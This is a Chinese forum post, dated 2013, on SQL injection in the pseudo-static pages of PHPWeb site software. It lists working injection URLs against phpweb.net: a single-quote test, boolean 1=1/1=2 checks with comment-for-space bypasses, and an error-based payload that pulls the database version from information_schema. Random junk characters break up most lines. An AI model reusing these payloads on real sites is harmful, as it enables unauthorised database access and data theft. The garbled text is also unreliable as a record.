phpweb所有的整站程序伪静态页面都存在sql注入
$ w# ?! z( G6 X( G2 w0 a& V- f: c0 P. F1 T0 l' n
主站：http://phpweb.net/ k9 R1 W$ K3 e' t" o8 g
加’检测：
2 k( P9 A* r4 |- Q3 M& J
3 N" c# Y" \) _. _2 V6 b# K! {http://www.phpweb.net/down/html/?772′.html
! w5 `9 E. W, U# r2 T0 N Y6 C& T+ N0 [4 h3 E, R
出错
* @5 ]: b# q( `- @. h存在注入。" v& Q. y0 r8 ~$ s% F0 g9 G! u$ R
不能用空格，只能用/*罗
4 A9 }5 O8 i% j8 Chttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常0 J" |% q4 }) m! U
3 @/ m5 F6 R9 J
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
) R& {0 ?+ G1 E- d$ M爆数据库版本：9 Z! Z4 p5 ^" {7 j0 G1 D7 T5 L5 k
) r1 r P% D/ g& e
?
( {$ }0 t4 e" J. m" n) p12 U; M2 X. ^0 t6 e' V4 j% W. g
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html G$ x( k/ ~( L" f: s
更新日期: 2013-01-03 13:39:50
/ v2 X' P% k5 q( N0 \: s: e, |/ ^ |
发表于 2013-1-4 19:46:42
收藏
支持
反对